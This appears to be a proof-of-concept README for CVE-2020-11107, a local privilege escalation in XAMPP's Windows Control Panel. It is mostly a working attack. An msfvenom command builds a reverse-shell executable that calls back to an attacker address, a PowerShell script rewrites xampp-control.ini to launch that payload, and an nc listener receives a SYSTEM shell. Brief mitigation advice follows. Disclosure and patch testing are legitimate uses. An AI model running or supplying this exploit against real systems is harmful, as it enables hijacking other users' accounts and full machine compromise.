
CVE-2020-11107-Local-Privilege-Escalation-XAMPP-7.2.29-7.3.x-7.3.16-7.4.x-7.4.4
CVE-2020-11107 is a Local Privilege Escalation (LPE) vulnerability affecting Apache Friends XAMPP on Windows.
An unprivileged user can modify the XAMPP Control Panel configuration file (xampp-control.ini) and replace the default editor executable (notepad.exe) with a malicious executable.
When another user (e.g. Administrator) opens logs via the Control Panel, the malicious binary is executed with the victim’s privileges, resulting in privilege escalation.
❗ This vulnerability does NOT affect Linux or macOS.
xampp-control.ini is globally writableC:\xampp\xampp-control.ini
C:\xampp\xampp-control.exe
Verify XAMPP version:
type C:\xampp\properties.ini
Example output:
base_stack_version=7.3.10-1
base_stack_platform=windows-x64
✅ The version is vulnerable.
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.xxx.xxx LPORT=4444 \
-f exe -o msf.exe
mkdir C:\temp
# Upload msf.exe into C:\temp
Exploit script (PowerShell):
# CVE-2020-11107 PoC
$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
$replace = "C:\temp\msf.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $file
Run the script:
powershell -ExecutionPolicy Bypass -File 50337.ps1
Victim launches:
C:\xampp\xampp-control.exe
Then opens any log file from the Control Panel.
nc -lvnp 4444
✅ Result:
Connection received...
C:\WINDOWS\system32>
🎉 Privilege Escalation Successful
Update XAMPP to one of the following versions (or newer):
Restrict permissions on:
C:\xampp\xampp-control.ini